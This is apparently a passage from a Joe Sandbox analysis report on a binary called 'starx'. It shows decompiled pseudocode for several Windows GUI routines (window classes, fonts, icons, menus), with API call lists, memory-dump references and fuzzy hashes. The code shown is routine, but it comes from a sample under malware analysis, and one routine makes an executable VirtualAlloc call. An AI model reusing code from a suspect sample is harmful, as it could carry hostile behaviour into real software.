						E00405B24(_t64,  &_v48);
						E0040B5D8(_v48, 1);
						E004039FC();
					}
				}
				_t29 =  *0x47e598; // 0x47f900
				_t32 =  *((intOrPtr*)( *_t29))(0) >> 1;
				if(_t88 < 0) {
					asm("adc eax, 0x0");
				}
				_t33 =  *0x47e598; // 0x47f900
				_t36 =  *((intOrPtr*)( *_t33))(1, _t32) >> 1;
				if(_t88 < 0) {
					asm("adc eax, 0x0");
				}
				_push(_t36);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t37 =  *0x47f664; // 0x400000
				_push(_t37);
				_push(0);
				_t7 = _t69 + 0x8c; // 0x260c0045
				_t39 = E00404480( *_t7);
				_t40 =  *0x467e98; // 0x45b288, executed
				_t41 = E00406A70(_t40, _t39); // executed
				 *(_t69 + 0x30) = _t41;
				_t9 = _t69 + 0x8c; // 0x45370c
				E00403FC0(_t9);
				 *((char*)(_t69 + 0xa4)) = 1;
				_t11 = _t69 + 0x40; // 0x10ac0000
				_t12 = _t69 + 0x30; // 0xe
				SetWindowLongA( *_t12, 0xfffffffc,  *_t11);
				_t47 =  *0x47e634; // 0x47fb1c
				if( *_t47 != 0) {
					_t55 = E0045C224(_t69);
					_t13 = _t69 + 0x30; // 0xe
					SendMessageA( *_t13, 0x80, 1, _t55); // executed
					_t59 = E0045C224(_t69);
					_t14 = _t69 + 0x30; // 0xe
					SetClassLongA( *_t14, 0xfffffff2, _t59); // executed
				}
				_t15 = _t69 + 0x30; // 0xe
				_t70 = GetSystemMenu( *_t15, "true");
				DeleteMenu(_t70, 0xf030, 0);
				DeleteMenu(_t70, 0xf000, 0);
				_t52 =  *0x47e634; // 0x47fb1c
				if( *_t52 != 0) {
					DeleteMenu(_t70, 0xf010, 0);
				}
				goto L13;
			}

0x0045b5a9
0x0045b5ac
0x0045b5b0
0x0045b5b1
0x0045b5b6
0x0045b5b9
0x0045b5c3
0x0045b72b
0x0045b72d
0x0045b730
0x0045b733
0x0045b740
0x0045b740
0x0045b5c9
0x0045b5d1
0x00000000
0x00000000
0x0045b5dd
0x0045b5e2
0x0045b5ea
0x0045b5f3
0x0045b5f9
0x0045b606
0x0045b608
0x0045b60d
0x0045b61c
0x0045b61f
0x0045b624
0x0045b629
0x0045b638
0x0045b63d
0x0045b63d
0x0045b61f
0x0045b644
0x0045b64d
0x0045b64f
0x0045b651
0x0045b651
0x0045b657
0x0045b660
0x0045b662
0x0045b664
0x0045b664
0x0045b667
0x0045b668
0x0045b66a
0x0045b66c
0x0045b66e
0x0045b670
0x0045b675
0x0045b676
0x0045b678
0x0045b67e
0x0045b68a
0x0045b68f
0x0045b694
0x0045b697
0x0045b69d
0x0045b6a2
0x0045b6a9
0x0045b6af
0x0045b6b3
0x0045b6b8
0x0045b6c0
0x0045b6c4
0x0045b6d1
0x0045b6d5
0x0045b6dc
0x0045b6e4
0x0045b6e8
0x0045b6e8
0x0045b6ef
0x0045b6f8
0x0045b702
0x0045b70f
0x0045b714
0x0045b71c
0x0045b726
0x0045b726
0x00000000

APIs

Part of subcall function 0041A718: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 0041A736

GetClassInfoA.USER32 ref: 0045B5FF
RegisterClassA.USER32 ref: 0045B617

Part of subcall function 00405B24: LoadStringA.USER32 ref: 00405B55

SetWindowLongA.USER32 ref: 0045B6B3
SendMessageA.USER32 ref: 0045B6D5
SetClassLongA.USER32(0000000E,000000F2,00000000,0000000E,00000080,00000001,00000000,0000000E,000000FC,10AC0000,00453680), ref: 0045B6E8
GetSystemMenu.USER32(0000000E,00000000,0000000E,000000FC,10AC0000,00453680), ref: 0045B6F3
DeleteMenu.USER32(00000000,0000F030,00000000,0000000E,00000000,0000000E,000000FC,10AC0000,00453680), ref: 0045B702
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,0000000E,00000000,0000000E,000000FC,10AC0000,00453680), ref: 0045B70F
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,0000000E,00000000,0000000E,000000FC,10AC0000,00453680), ref: 0045B726

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Menu$ClassDelete$Long$AllocInfoLoadMessageRegisterSendStringSystemVirtualWindow
String ID:
API String ID: 2103932818-0
Opcode ID: 87434a3f4be26c4117b6c3409a94330950de097ca4fc22b7d7cc15d6b452efd1
Instruction ID: edaf0a50e61ecf99c1154efba5892810b28ae82424945783c7a18b5e58dc8a33
Opcode Fuzzy Hash: 87434a3f4be26c4117b6c3409a94330950de097ca4fc22b7d7cc15d6b452efd1
Instruction Fuzzy Hash: 254132716002006FE710EB69DC82F6A37A8EB08708F5545B6FD05EB2E3D7B9AC44876D

Uniqueness

Uniqueness Score: -1.00%

Function 0044025C, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0044025C(intOrPtr* __eax, intOrPtr __ebx, void* __edi, void* __esi) {
				char _v68;
				struct _WNDCLASSA _v108;
				intOrPtr _v116;
				signed char _v137;
				void* _v144;
				struct _WNDCLASSA _v184;
				char _v188;
				char _v192;
				char _v196;
				int _t52;
				void* _t53;
				intOrPtr _t86;
				intOrPtr _t104;
				intOrPtr _t108;
				void* _t109;
				intOrPtr* _t111;
				void* _t115;

				_t109 = __edi;
				_t94 = __ebx;
				_push(__ebx);
				_v196 = 0;
				_t111 = __eax;
				_push(_t115);
				_push(0x44041d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t115 + 0xffffff40;
				_t95 =  *__eax;
				 *((intOrPtr*)( *__eax + 0x98))();
				if(_v116 != 0 || (_v137 & 0x00000040) == 0) {
					L7:
					 *((intOrPtr*)(_t111 + 0x174)) = _v108.lpfnWndProc;
					_t52 = GetClassInfoA(_v108.hInstance,  &_v68,  &_v184);
					asm("sbb eax, eax");
					_t53 = _t52 + 1;
					if(_t53 == 0 || E0043985C != _v184.lpfnWndProc) {
						if(_t53 != 0) {
							UnregisterClassA( &_v68, _v108.hInstance);
						}
						_v108.lpfnWndProc = E0043985C;
						_v108.lpszClassName =  &_v68;
						if(RegisterClassA( &_v108) == 0) {
							E0040CAA0(_t94, _t95, _t109, _t111);
						}
					}
					 *0x467b44 = _t111;
					_t96 =  *_t111; // executed
					 *((intOrPtr*)( *_t111 + 0x9c))();
					if( *(_t111 + 0x180) == 0) {
						E0040CAA0(_t94, _t96, _t109, _t111);
					}
					if((GetWindowLongA( *(_t111 + 0x180), 0xfffffff0) & 0x40000000) != 0 && GetWindowLongA( *(_t111 + 0x180), 0xfffffff4) == 0) {
						SetWindowLongA( *(_t111 + 0x180), 0xfffffff4,  *(_t111 + 0x180));
					}
					E004088C8( *((intOrPtr*)(_t111 + 0x64)));
					 *((intOrPtr*)(_t111 + 0x64)) = 0;
					E004435B4(_t111);
					E0043DC70(_t111, E0041CAA0( *((intOrPtr*)(_t111 + 0x68)), _t94, _t96), 0x30, 1);
					_t130 =  *((char*)(_t111 + 0x5c));
					if( *((char*)(_t111 + 0x5c)) != 0) {
						E0040346C(_t111, _t130);
					}
					_pop(_t104);
					 *[fs:eax] = _t104;
					_push(0x440424);
					return E00403FC0( &_v196);
				} else {
					_t94 =  *((intOrPtr*)(__eax + 4));
					if(_t94 == 0 || ( *(_t94 + 0x1c) & 0x00000002) == 0) {
						L6:
						_v192 =  *((intOrPtr*)(_t111 + 8));
						_v188 = 0xb;
						_t86 =  *0x47e7ac; // 0x41aa84
						E00405B24(_t86,  &_v196);
						_t95 = _v196;
						E0040B614(_t94, _v196, 1, _t109, _t111, 0,  &_v192);
						E004039FC();
					} else {
						_t108 =  *0x4389e4; // 0x438a30
						if(E004033FC(_t94, _t108) == 0) {
							goto L6;
						}
						_v116 = E004432A4(_t94);
					}
					goto L7;
				}
			}

0x0044025c
0x0044025c
0x00440265
0x00440269
0x0044026f
0x00440273
0x00440274
0x00440279
0x0044027c
0x00440287
0x00440289
0x00440293
0x00440308
0x0044030b
0x00440320
0x00440328
0x0044032a
0x0044032d
0x0044033e
0x00440348
0x00440348
0x0044034d
0x00440357
0x00440366
0x00440368
0x00440368
0x00440366
0x0044036d
0x0044037b
0x0044037d
0x0044038a
0x0044038c
0x0044038c
0x004403a4
0x004403c2
0x004403c2
0x004403ca
0x004403d1
0x004403d6
0x004403ee
0x004403f3
0x004403f7
0x004403ff
0x004403ff
0x00440406
0x00440409
0x0044040c
0x0044041c
0x0044029e
0x0044029e
0x004402a3
0x004402c8
0x004402cb
0x004402d1
0x004402e7
0x004402ec
0x004402f1
0x004402fe
0x00440303
0x004402ab
0x004402ad
0x004402ba
0x00000000
0x00000000
0x004402c3
0x004402c3
0x00000000
0x004402a3

APIs

GetClassInfoA.USER32 ref: 00440320
UnregisterClassA.USER32 ref: 00440348
RegisterClassA.USER32 ref: 0044035E
GetWindowLongA.USER32 ref: 0044039A
GetWindowLongA.USER32 ref: 004403AF
SetWindowLongA.USER32 ref: 004403C2

Strings

@, xrefs: 00440295

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ClassLongWindow$InfoRegisterUnregister
String ID: @
API String ID: 717780171-2766056989
Opcode ID: 53675033f85be736a2ec4c4bdad5736997c90cba2a7fcc7060e434b672968f4e
Instruction ID: b739c860e3adeb4ea6851f73823b2adfa87e6383362fef5fa123d42fc0cab443
Opcode Fuzzy Hash: 53675033f85be736a2ec4c4bdad5736997c90cba2a7fcc7060e434b672968f4e
Instruction Fuzzy Hash: F7518170A003089BEB20EF65CC41B9EB7F8AF45308F10456AE945E7391DB78AD55CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0045A990, Relevance: 10.6, APIs: 7, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E0045A990(void* __eax, void* __ebx, void* __ecx, void* __edi) {
				char _v5;
				struct tagLOGFONTA _v65;
				struct tagLOGFONTA _v185;
				struct tagLOGFONTA _v245;
				void _v405;
				void* _t23;
				int _t27;
				void* _t30;
				intOrPtr _t38;
				struct HFONT__* _t41;
				struct HFONT__* _t45;
				struct HFONT__* _t49;
				intOrPtr _t52;
				intOrPtr _t54;
				void* _t57;
				void* _t72;
				void* _t74;
				void* _t75;
				intOrPtr _t76;

				_t72 = __edi;
				_t74 = _t75;
				_t76 = _t75 + 0xfffffe6c;
				_t57 = __eax;
				_v5 = 0;
				if( *0x47fbb8 != 0) {
					_t54 =  *0x47fbb8; // 0x2331714
					_v5 =  *((intOrPtr*)(_t54 + 0x88));
				}
				_push(_t74);
				_push(0x45aad5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t76;
				if( *0x47fbb8 != 0) {
					_t52 =  *0x47fbb8; // 0x2331714
					E0045CE80(_t52, 0);
				}
				if(SystemParametersInfoA(0x1f, 0x3c,  &_v65, 0) == 0) {
					_t23 = GetStockObject(0xd);
					_t7 = _t57 + 0x84; // 0x38004010
					E0041CC48( *_t7, _t23, _t72);
				} else {
					_t49 = CreateFontIndirectA( &_v65); // executed
					_t6 = _t57 + 0x84; // 0x38004010
					E0041CC48( *_t6, _t49, _t72);
				}
				_v405 = 0x154;
				_t27 = SystemParametersInfoA(0x29, 0,  &_v405, 0); // executed
				if(_t27 == 0) {
					_t14 = _t57 + 0x80; // 0xac000000
					E0041CD2C( *_t14, 8);
					_t30 = GetStockObject(0xd);
					_t15 = _t57 + 0x88; // 0x90000000
					E0041CC48( *_t15, _t30, _t72);
				} else {
					_t41 = CreateFontIndirectA( &_v185);
					_t11 = _t57 + 0x80; // 0xac000000
					E0041CC48( *_t11, _t41, _t72);
					_t45 = CreateFontIndirectA( &_v245);
					_t13 = _t57 + 0x88; // 0x90000000
					E0041CC48( *_t13, _t45, _t72);
				}
				_t16 = _t57 + 0x80; // 0xac000000
				E0041CA8C( *_t16, 0xff000017);
				_t17 = _t57 + 0x88; // 0x90000000
				E0041CA8C( *_t17, 0xff000007);
				 *[fs:eax] = 0xff000007;
				_push(0x45aadc);
				if( *0x47fbb8 != 0) {
					_t38 =  *0x47fbb8; // 0x2331714
					return E0045CE80(_t38, _v5);
				}
				return 0;
			}

0x0045a990
0x0045a991
0x0045a993
0x0045a99a
0x0045a99c
0x0045a9a7
0x0045a9a9
0x0045a9b4
0x0045a9b4
0x0045a9b9
0x0045a9ba
0x0045a9bf
0x0045a9c2
0x0045a9cc
0x0045a9d0
0x0045a9d5
0x0045a9d5
0x0045a9eb
0x0045aa07
0x0045aa0e
0x0045aa14
0x0045a9ed
0x0045a9f1
0x0045a9f8
0x0045a9fe
0x0045a9fe
0x0045aa19
0x0045aa30
0x0045aa37
0x0045aa6d
0x0045aa78
0x0045aa7f
0x0045aa86
0x0045aa8c
0x0045aa39
0x0045aa40
0x0045aa47
0x0045aa4d
0x0045aa59
0x0045aa60
0x0045aa66
0x0045aa66
0x0045aa91
0x0045aa9c
0x0045aaa1
0x0045aaac
0x0045aab6
0x0045aab9
0x0045aac5
0x0045aaca
0x00000000
0x0045aacf
0x0045aad4

APIs

SystemParametersInfoA.USER32(0000001F,0000003C,?,00000000), ref: 0045A9E4
CreateFontIndirectA.GDI32(?), ref: 0045A9F1
GetStockObject.GDI32(0000000D), ref: 0045AA07

Part of subcall function 0041CD2C: MulDiv.KERNEL32(00000000,?,00000048), ref: 0041CD39

SystemParametersInfoA.USER32(00000029,00000000,00000154,00000000), ref: 0045AA30
CreateFontIndirectA.GDI32(?), ref: 0045AA40
CreateFontIndirectA.GDI32(?), ref: 0045AA59
GetStockObject.GDI32(0000000D), ref: 0045AA7F

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CreateFontIndirect$InfoObjectParametersStockSystem
String ID:
API String ID: 2891467149-0
Opcode ID: a218e32863ff4a97560f0d2a786fcf2da030a9be7f2ca6856c90dd8bca981e0b
Instruction ID: ca0caac6931af55b436bbd8d6335d8b830c88ac698f24cc66019069bee19984d
Opcode Fuzzy Hash: a218e32863ff4a97560f0d2a786fcf2da030a9be7f2ca6856c90dd8bca981e0b
Instruction Fuzzy Hash: 3331B9306442449FE751FBB9CC82B9A33E4AB44304F4440B6BD4CDB297DA789D99C729

Uniqueness

Uniqueness Score: -1.00%

Function 004361E8, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E004361E8(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				struct tagSIZE _v12;
				char _v16;
				char _v20;
				void* _t25;
				void* _t26;
				int _t31;
				intOrPtr* _t47;
				intOrPtr _t54;
				void* _t65;

				_push(__ebx);
				_v20 = 0;
				_v16 = 0;
				_t47 = __eax;
				_push(_t65);
				_push(0x4362c0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t65 + 0xfffffff0;
				if(( *(__eax + 0x1c) & 0x00000002) == 0 &&  *((char*)(__eax + 0x209)) != 0) {
					L004065DC();
					_t25 = E0041CAA0( *((intOrPtr*)(__eax + 0x68)), __eax, __ecx); // executed
					_t26 = SelectObject(0, _t25);
					E0043CABC(_t47,  &_v16);
					_t31 = E00404280(_v16);
					E0043CABC(_t47,  &_v20);
					GetTextExtentPoint32A(0, E00404480(_v20), _t31,  &_v12);
					SelectObject(0, _t26);
					L0040681C();
					 *((intOrPtr*)( *_t47 + 0x84))((GetSystemMetrics(6) << 2) + _v12.cy, (GetSystemMetrics(5) << 2) + _v12.cx, 0, 0, 0);
				}
				_pop(_t54);
				 *[fs:eax] = _t54;
				_push(0x4362c7);
				return E00403FE4( &_v20, 2);
			}

0x004361ee
0x004361f3
0x004361f6
0x004361f9
0x004361fd
0x004361fe
0x00436203
0x00436206
0x0043620d
0x00436222
0x0043622c
0x00436233
0x00436243
0x0043624b
0x00436256
0x00436265
0x0043626c
0x00436274
0x0043629f
0x0043629f
0x004362a7
0x004362aa
0x004362ad
0x004362bf

APIs

739EAC50.USER32(00000000), ref: 00436222

Part of subcall function 0041CAA0: CreateFontIndirectA.GDI32(?), ref: 0041CBDE

SelectObject.GDI32(00000000,00000000), ref: 00436233
GetTextExtentPoint32A.GDI32(00000000,00000000,00000000,?), ref: 00436265
SelectObject.GDI32(00000000,00000000), ref: 0043626C
739EB380.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00436274
GetSystemMetrics.USER32 ref: 0043627B
GetSystemMetrics.USER32 ref: 00436289

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: MetricsObjectSelectSystem$B380CreateExtentFontIndirectPoint32Text
String ID:
API String ID: 1953851661-0
Opcode ID: 201e77840e364478b0939b0bbb0fd5acf012d2cfd82c5ccd95ed878e2e204599
Instruction ID: 13cf654c3111ecafc398d2393621900d568fffb3ff84dcf9dc1b9a10207d0b13
Opcode Fuzzy Hash: 201e77840e364478b0939b0bbb0fd5acf012d2cfd82c5ccd95ed878e2e204599
Instruction Fuzzy Hash: 912195716002146FD701FF66CC82F9F77ACEF49314F02417AF915E6282DA7D9905C668

Uniqueness

Uniqueness Score: -1.00%

Function 0041E540, Relevance: 9.1, APIs: 6, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0041E540(struct HDC__* __eax, signed int __ecx) {
				char _v1036;
				signed int _v1038;
				struct tagRGBQUAD _v1048;
				short _v1066;
				short* _t15;
				void* _t18;
				struct HDC__* _t23;
				void* _t26;
				short* _t31;
				short* _t32;

				_t31 = 0;
				 *_t32 = 0x300;
				if(__eax == 0) {
					_v1038 = __ecx;
					E004028D0(_t26, __ecx << 2,  &_v1036);
				} else {
					_push(0);
					L0040626C();
					_t23 = __eax;
					_t18 = SelectObject(__eax, __eax);
					_v1066 = GetDIBColorTable(_t23, 0, 0x100,  &_v1048);
					SelectObject(_t23, _t18);
					DeleteDC(_t23);
				}
				if(_v1038 != 0) {
					if(_v1038 != 0x10 || E0041E4A8(_t32) == 0) {
						E0041E338( &_v1036, _v1038 & 0x0000ffff); // executed
					}
					_t15 = _t32;
					_push(_t15);
					L00406294();
					_t31 = _t15;
				}
				return _t31;
			}

0x0041e54b
0x0041e54d
0x0041e555
0x0041e58f
0x0041e59d
0x0041e557
0x0041e557
0x0041e559
0x0041e55e
0x0041e562
0x0041e57b
0x0041e582
0x0041e588
0x0041e588
0x0041e5a8
0x0041e5b0
0x0041e5c6
0x0041e5c6
0x0041e5cb
0x0041e5cd
0x0041e5ce
0x0041e5d3
0x0041e5d3
0x0041e5e0

APIs

739EA590.GDI32(00000000,00000000,?,?,004224AB,?,?,?,?,00421097,00000000,00421123), ref: 0041E559
SelectObject.GDI32(00000000,00000000), ref: 0041E562
GetDIBColorTable.GDI32(00000000,00000000,00000100,?,00000000,00000000,00000000,00000000,?,?,004224AB,?,?,?,?,00421097), ref: 0041E576
SelectObject.GDI32(00000000,00000000), ref: 0041E582
DeleteDC.GDI32(00000000), ref: 0041E588
739EA8F0.GDI32(?,00000000,?,?,004224AB,?,?,?,?,00421097,00000000,00421123), ref: 0041E5CE

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ObjectSelect$A590ColorDeleteTable
String ID:
API String ID: 1056449717-0
Opcode ID: 203d456d399186dcd32a443cc7f8efe3af2e57c30347ca79a103008ae192c355
Instruction ID: ae3429213e7f701aa6b927545dbf022ec98566dc842fb550dc5915ec8a66bcca
Opcode Fuzzy Hash: 203d456d399186dcd32a443cc7f8efe3af2e57c30347ca79a103008ae192c355
Instruction Fuzzy Hash: 2A01887510431075E61077679D47A9B72ED9FC0718F01982FB989972C2F67CC885936A

Uniqueness

Uniqueness Score: -1.00%

Function 0045B298, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0045B298(void* __ecx, char __edx) {
				char _v5;
				char _v261;
				void* __ebx;
				void* __ebp;
				intOrPtr _t39;
				intOrPtr _t42;
				intOrPtr _t43;
				struct HINSTANCE__** _t53;
				struct HICON__* _t55;
				intOrPtr _t58;
				struct HINSTANCE__** _t60;
				void* _t67;
				char* _t69;
				char* _t75;
				intOrPtr _t81;
				intOrPtr* _t88;
				intOrPtr* _t89;
				intOrPtr _t90;
				void* _t91;
				char _t93;
				void* _t104;
				void* _t105;

				_t93 = __edx;
				_t91 = __ecx;
				if(__edx != 0) {
					_t105 = _t105 + 0xfffffff0;
					_t39 = E00403594(_t39, _t104);
				}
				_v5 = _t93;
				_t90 = _t39;
				E00419688(_t91, 0);
				_t42 =  *0x47e690; // 0x4673c4
				if( *((short*)(_t42 + 2)) == 0) {
					_t89 =  *0x47e690; // 0x4673c4
					 *((intOrPtr*)(_t89 + 4)) = _t90;
					 *_t89 = 0x45c970;
				}
				_t43 =  *0x47e77c; // 0x4673cc
				if( *((short*)(_t43 + 2)) == 0) {
					_t88 =  *0x47e77c; // 0x4673cc
					 *((intOrPtr*)(_t88 + 4)) = _t90;
					 *_t88 = E0045CB68;
				}
				 *((char*)(_t90 + 0x34)) = 0;
				 *((intOrPtr*)(_t90 + 0x90)) = E00403240(1);
				 *((intOrPtr*)(_t90 + 0xa8)) = E00403240(1);
				 *((intOrPtr*)(_t90 + 0x60)) = 0;
				 *((intOrPtr*)(_t90 + 0x84)) = 0;
				 *((intOrPtr*)(_t90 + 0x5c)) = 0xff000018;
				 *((intOrPtr*)(_t90 + 0x78)) = 0x1f4;
				 *((char*)(_t90 + 0x7c)) = 1;
				 *((intOrPtr*)(_t90 + 0x80)) = 0;
				 *((intOrPtr*)(_t90 + 0x74)) = 0x9c4;
				 *((char*)(_t90 + 0x88)) = 0;
				 *((char*)(_t90 + 0x9d)) = 1;
				 *((char*)(_t90 + 0xb4)) = 1;
				_t103 = E00423518(1);
				 *((intOrPtr*)(_t90 + 0x98)) = _t52;
				_t53 =  *0x47e578; // 0x47f02c
				_t55 = LoadIconA( *_t53, "MAINICON"); // executed
				E004238E8(_t103, _t55);
				_t20 = _t90 + 0x98; // 0x736d
				_t58 =  *_t20;
				 *((intOrPtr*)(_t58 + 0x14)) = _t90;
				 *((intOrPtr*)(_t58 + 0x10)) = 0x45d108;
				_t60 =  *0x47e578; // 0x47f02c
				GetModuleFileNameA( *_t60,  &_v261, 0x100);
				OemToCharA( &_v261,  &_v261);
				_t67 = E0040C458(0x5c);
				if(_t67 != 0) {
					_t27 = _t67 + 1; // 0x1
					E004086B8( &_v261, _t27);
				}
				_t69 = E0040C480( &_v261, 0x2e);
				if(_t69 != 0) {
					 *_t69 = 0;
				}
				CharLowerA( &(( &_v261)[1]));
				_t31 = _t90 + 0x8c; // 0x45370c
				E00404230(_t31, 0x100,  &_v261);
				_t75 =  *0x47e3e4; // 0x47f034
				if( *_t75 == 0) {
					E0045B5A0(_t90, _t90, 0x100); // executed
				}
				 *((char*)(_t90 + 0x59)) = 1;
				 *((char*)(_t90 + 0x5a)) = 1;
				 *((char*)(_t90 + 0x5b)) = 1;
				 *((char*)(_t90 + 0x9e)) = 1;
				 *((intOrPtr*)(_t90 + 0xa0)) = 0;
				E0045D2E4(_t90, 0x100);
				E0045DCA8(_t90);
				_t81 = _t90;
				if(_v5 != 0) {
					E004035EC(_t81);
					_pop( *[fs:0x0]);
				}
				return _t90;
			}

0x0045b298
0x0045b298
0x0045b2a5
0x0045b2a7
0x0045b2aa
0x0045b2aa
0x0045b2af
0x0045b2b2
0x0045b2b8
0x0045b2bd
0x0045b2c7
0x0045b2c9
0x0045b2ce
0x0045b2d1
0x0045b2d1
0x0045b2d7
0x0045b2e1
0x0045b2e3
0x0045b2e8
0x0045b2eb
0x0045b2eb
0x0045b2f1
0x0045b301
0x0045b313
0x0045b31b
0x0045b320
0x0045b326
0x0045b32d
0x0045b334
0x0045b33a
0x0045b340
0x0045b347
0x0045b34e
0x0045b355
0x0045b368
0x0045b36a
0x0045b375
0x0045b37d
0x0045b386
0x0045b38b
0x0045b38b
0x0045b391
0x0045b394
0x0045b3a7
0x0045b3af
0x0045b3c2
0x0045b3cf
0x0045b3d6
0x0045b3d8
0x0045b3e1
0x0045b3e1
0x0045b3ee
0x0045b3f5
0x0045b3f7
0x0045b3f7
0x0045b402
0x0045b407
0x0045b418
0x0045b41d
0x0045b425
0x0045b429
0x0045b429
0x0045b42e
0x0045b432
0x0045b436
0x0045b43a
0x0045b443
0x0045b44b
0x0045b452
0x0045b457
0x0045b45d
0x0045b45f
0x0045b464
0x0045b46b
0x0045b475

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 0045B37D
GetModuleFileNameA.KERNEL32(00400000,?,00000100,?,?,?,0044816C,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0045B3AF
OemToCharA.USER32 ref: 0045B3C2
CharLowerA.USER32(?,?,?,00400000,?,00000100,?,?,?,0044816C,00000000,00000000,?,00000000,?,00000000), ref: 0045B402

Strings

MAINICON, xrefs: 0045B370

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: MAINICON
API String ID: 3935243913-2283262055
Opcode ID: eefc3a199ac4bc3e260f6287380804932f75ee4a33b2f320d99b99d04426e594
Instruction ID: d9667a7da605c5044e43f43eeb51edb9a2fd5ec3cfca09e00ac7b21549ede755
Opcode Fuzzy Hash: eefc3a199ac4bc3e260f6287380804932f75ee4a33b2f320d99b99d04426e594
Instruction Fuzzy Hash: BF515E706042449FDB10EF39C8857897BE4AB19308F4481FAEC48DF397D7B99988CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004556D8, Relevance: 7.7, APIs: 5, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E004556D8(intOrPtr __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				signed char _t92;
